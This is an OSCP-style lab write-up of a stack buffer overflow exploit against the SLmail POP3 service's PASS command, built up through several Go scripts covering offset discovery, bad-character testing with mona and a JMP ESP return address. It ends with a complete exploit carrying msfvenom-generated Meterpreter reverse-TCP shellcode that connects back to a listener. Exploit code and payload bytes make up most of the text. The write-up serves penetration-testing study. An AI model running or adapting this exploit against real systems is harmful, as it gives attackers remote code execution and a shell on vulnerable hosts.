
Win32_BufferOverFlow_OSCP

Windows 32-bit Simple BufferOverFlow Excercise [SLmail]

Identifying offset for EIP

Once you identify vulnerable input in network service (PASS in our case) generate big enough pattern
to crash it. After crash note value of EIP from immunity debugger.

/usr/share/metasploit-framework/tools/pattern_create.rb -l 6000

package main 

 

import ( 

    "bufio" 

    "fmt" 

    "net" 

) 

 

func main() { 

    padding := 

"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3A

c4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8

Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah

3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7A

j8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2

Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao

7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1A

r2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6

At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw

1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5A

y6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0

Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd

5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9B

g0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4

Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk

9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3B

n4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp" 

    padding += 

"3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7

Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu



2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6B

w7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1

Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb

6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0C

e1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5

Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj

0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4C

l5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9

Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq

4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8C

s9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3

Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx

8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2D

a3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7

Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df" 

    padding += 

"1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5

Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk

0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4D

m5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9

Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr

4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8D

t9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3

Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy

8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2E

b3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7

Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg

2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6E

i7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1

El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En

6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0E

q1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5

Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9" 

    padding += 

"Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3E

x4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8

Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc

3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7F

e8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2

Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj

7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1F

m2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6

Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr



1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5F

t6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0

Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy

5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9G

b0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4

Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf

9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3G

i4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk" 

    padding += 

"8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2

Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp

7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1G

s2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6

Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx

1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5G

z6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0

Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He

5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9H

h0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4

Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl

9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3H

o4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8

Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9" 

 

    sendStr := "PASS " + padding + "\r\n" 

    conn, _ := net.Dial("tcp", "192.168.250.129:110") 

    message, _ := bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    conn.Write([]byte("USER cjhackerz\r\n")) 

 

    message, _ = bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    //fmt.Print(sendStr) 

    conn.Write([]byte(sendStr)) 

} 



As you can see in screenshot our EIP is overwritten with with hex value 7A46317A which is z1Fz in
ascii text.

/usr/share/metasploit-framework/tools/pattern_create.rb -q 7A46317A 

[*] Exact match at offset 4654

Setup mona for badchar testing

!mona config -set workingfolder c:\logs\%p

!mona bytearray

copy bytes from C:\logs\SLmail\bytearray.txt file to your test script

!mona compare -f C:\logs\SLmail\bytearray.bin -a 025CA128

give correct memomry address in stack for -a option where badchar begins, command will now tell you
identified badchars at which your test bytearray gets terminated in stack



Now create new bytearray by excluding badchar detected from previous step and repeat process till
mona is not able to find badchars anymore from compare module.

!mona bytearray –cpb "\x00\x0a"

Screenshot of mona detecting \x0d as badchar by repeating previous compare step

Output of mona compare module when there is no badchars found anymore



Note: \0x00 (Nullbyte) is always a badchar which terminates string in stack

SLMail-padding-with-test-badchar.go

package main 

 

import ( 

    "bufio" 

    "fmt" 

    "net" 

) 

 

func main() { 

    padding := "A" 

 

    for i := 1; i < 4654; i++ { 

        padding = padding + "A" 

    } 

 

    testBuff := 

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\

x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22" 

    testBuff += 

"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\

x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42" 

    testBuff += 

"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\



x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62" 

    testBuff += 

"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\

x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84" 

    testBuff += 

"\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\

x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4" 

    testBuff += 

"\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\

xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4" 

    testBuff += 

"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\

xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4" 

    testBuff += 

"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\

xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 

     

    EIP := "BBBB" 

     

    sendStr := "PASS " + padding + EIP + testBuff + "\r\n" 

    conn, _ := net.Dial("tcp", "192.168.250.129:110") 

    message, _ := bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    conn.Write([]byte("USER cjhackerz\r\n")) 

 

    message, _ = bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    //fmt.Print(sendStr) 

    conn.Write([]byte(sendStr)) 

}

SLMail-EIP-control-test.go

package main 

 

import ( 

    "bufio" 

    "fmt" 

    "net" 

) 

 



func main() { 

    padding := "A" 

 

    for i := 1; i < 4654; i++ { 

        padding = padding + "A" 

    } 

 

    //Identified badchars: \x00\x0a\x0d 

 

    testBuff := "\xcc" //INT3 Instruction to pause our debugger 

     

    // JMP ESP instruction in slmfc.dll located at address 0x5f4a358f 

    EIP := "\x8f\x35\x4a\x5f" 

 

    sendStr := "PASS " + padding + EIP + testBuff + "\r\n" 

    conn, _ := net.Dial("tcp", "192.168.250.129:110") 

    message, _ := bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    conn.Write([]byte("USER cjhackerz\r\n")) 

 

    message, _ = bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    //fmt.Print(sendStr) 

    conn.Write([]byte(sendStr)) 

} 

You should see immunity debugger in paused sate if everything goes well, meaning our return address
is correctly selected and execution starts at ESP due to JMP ESP instruction

Exploiting service without crashing it with our msfvenom shellcode

Two things you need to remember for generating shellcode in msfvenom:

1. We will use format (-f) as python since variable defination for python and go is similiar, you have to
remove byte prefix (denoted as b) from b"" or b"\xba\xa3\x82\x49\x93\xd9\xcc\xd9\x74\x24\xf4"
shellcode strings and for first string instead of = replace it with :=

2. As good practice and to remain stealth, we don't what to exit the program's main process instead
we just need to exit current thread for which we hijacked code execution. For that msfvenom
provides EXITFUNC options which is by default set to process, change it to thread.

Biggest fuck up



The encoder that msfvenom used in our case was the shikata_ga_nai encoder.
shikata_ga_nai’s GetPC routine, like many other GetPC routines, is a bit of a
destructive operation. The machine instructions that it executes in its quest for
its own address involves putting some data at and around the top of the stack.
It doesn’t PUSH some values on to the stack moving the top of the stack upwards,
it has a tendency to destroy a couple of bytes either side of ESP. This damage is
a problem for us - because the encoded shellcode is right at the current value of
ESP! If we allow GetPC to blow a hole right at ESP then it will change some of the
code belonging to the shellcode decoder and potentially the encoded shellcode,
corrupting the machine code and almost certainly crashing the process when
the CPU tries to execute the now-corrupted code. Lazy and quick way to do is keep adding NOP
instruction at start of ESP, more than 16 nops should do the job in our example I am putting 32 bytes of
NOP sled after EIP and then our actual shellcode that we want to execute.

By putting a large number of NOP’s in front of the shellcode, ESP will continue
to point at the beginning of the NOP sled while EIP “slides” through the NOP’s
doing a whole bunch of nothing. By the time execution reaches the shellcode
decoder stub, ESP points far enough away from it so as to not cause damage to
the shellcode when GetPC blows a hole in the stack.

SLMail-exploit.go

package main 

 

import ( 

    "bufio" 

    "fmt" 

    "net" 

) 

 

func main() { 

    padding := "A" 

    nopSled := "\x90" 

 

    for i := 1; i < 4654; i++ { 

        padding = padding + "A" 

    } 

     

    for i := 1; i < 32; i++ { 

        nopSled = nopSled + "\x90" 

    } 

 

//Identified badchars: \x00\x0a\x0d

//msfvenom -p windows/meterpreter/reverse_tcp -b "\x00\x0a\x0d" 



LHOST=192.168.250.1 LPORT=4444 EXITFUNC=thread -f python --var-name 

exploitBuff 

exploitBuff := "" 

exploitBuff += "\xba\xa3\x82\x49\x93\xd9\xcc\xd9\x74\x24\xf4" 

exploitBuff += "\x5e\x33\xc9\xb1\x5b\x83\xc6\x04\x31\x56\x10" 

exploitBuff += "\x03\x56\x10\x41\x77\xb5\x7b\x07\x78\x46\x7c" 

exploitBuff += "\x67\xf0\xa3\x4d\xa7\x66\xa7\xfe\x17\xec\xe5" 

exploitBuff += "\xf2\xdc\xa0\x1d\x80\x90\x6c\x11\x21\x1e\x4b" 

exploitBuff += "\x1c\xb2\x32\xaf\x3f\x30\x48\xfc\x9f\x09\x83" 

exploitBuff += "\xf1\xde\x4e\xf9\xf8\xb3\x07\x76\xae\x23\x23" 

exploitBuff += "\xc2\x73\xcf\x7f\xc3\xf3\x2c\x37\xe2\xd2\xe2" 

exploitBuff += "\x43\xbd\xf4\x05\x87\xb6\xbc\x1d\xc4\xf2\x77" 

exploitBuff += "\x95\x3e\x89\x89\x7f\x0f\x72\x25\xbe\xbf\x81" 

exploitBuff += "\x37\x86\x78\x79\x42\xfe\x7a\x04\x55\xc5\x01" 

exploitBuff += "\xd2\xd0\xde\xa2\x91\x43\x3b\x52\x76\x15\xc8" 

exploitBuff += "\x58\x33\x51\x96\x7c\xc2\xb6\xac\x79\x4f\x39" 

exploitBuff += "\x63\x08\x0b\x1e\xa7\x50\xc8\x3f\xfe\x3c\xbf" 

exploitBuff += "\x40\xe0\x9e\x60\xe5\x6a\x32\x75\x94\x30\x5b" 

exploitBuff += "\xba\x95\xca\x9b\xd4\xae\xb9\xa9\x7b\x05\x56" 

exploitBuff += "\x82\xf4\x83\xa1\x93\x12\x34\x7d\x1b\x72\xca" 

exploitBuff += "\x7e\x5c\x5b\x09\x2a\x0c\xf3\xb8\x53\xc7\x03" 

exploitBuff += "\x44\x86\x72\x09\xd2\xe9\x2b\xf7\x23\x82\x29" 

exploitBuff += "\x07\x35\x0e\xa7\xe1\x65\xfe\xe7\xbd\xc5\xae" 

exploitBuff += "\x47\x6d\xae\xa4\x47\x52\xce\xc6\x8d\xfb\x65" 

exploitBuff += "\x29\x78\x54\x12\xd0\x21\x2e\x83\x1d\xfc\x4b" 

exploitBuff += "\x83\x96\xf5\xac\x4a\x5f\x7f\xbe\xbb\x38\x7f" 

exploitBuff += "\x3e\x3c\xad\x7f\x54\x38\x67\xd7\xc0\x42\x5e" 

exploitBuff += "\x1f\x4f\xbc\xb5\x23\x97\x42\x48\x12\xec\x75" 

exploitBuff += "\xde\x1a\x9a\x79\x0e\x9b\x5a\x2c\x44\x9b\x32" 

exploitBuff += "\x88\x3c\xc8\x27\xd7\xe8\x7c\xf4\x42\x13\xd5" 

exploitBuff += "\xa9\xc5\x7b\xdb\x94\x22\x24\x24\xf3\x30\x23" 

exploitBuff += "\xda\x86\x1e\x8c\xb3\x78\x1f\x2c\x44\x12\x9f" 

exploitBuff += "\x7c\x2c\xe9\xb0\x73\x9c\x12\x1b\xdc\xb4\x99" 

exploitBuff += "\xca\xae\x25\x9e\xc6\x6f\xf8\x9f\xe5\xab\x0b" 

exploitBuff += "\xda\x86\x4c\xec\x1b\x8f\x28\xec\x1c\xaf\x4e" 

exploitBuff += "\xd0\xcb\x96\x24\x17\xc8\xac\x27\x8a\xe4\xd8" 

exploitBuff += "\xcf\x13\x6d\x61\x92\xa3\x58\xa6\xab\x27\x68" 

exploitBuff += "\x57\x48\x37\x19\x52\x14\xff\xf2\x2e\x05\x6a" 

exploitBuff += "\xf4\x9d\x26\xbf" 

 

// JMP ESP instruction in slmfc.dll located at address 0x5f4a358f 

    EIP := "\x8f\x35\x4a\x5f" 

 



    sendStr := "PASS " + padding + EIP + nopSled + exploitBuff + "\r\n" 

    conn, _ := net.Dial("tcp", "192.168.250.129:110") 

    message, _ := bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    conn.Write([]byte("USER cjhackerz\r\n")) 

 

    message, _ = bufio.NewReader(conn).ReadString('\n') 

 

    fmt.Print(message) 

    //fmt.Print(sendStr) 

    conn.Write([]byte(sendStr)) 

}

After successful execution we get connection back in msfconsole


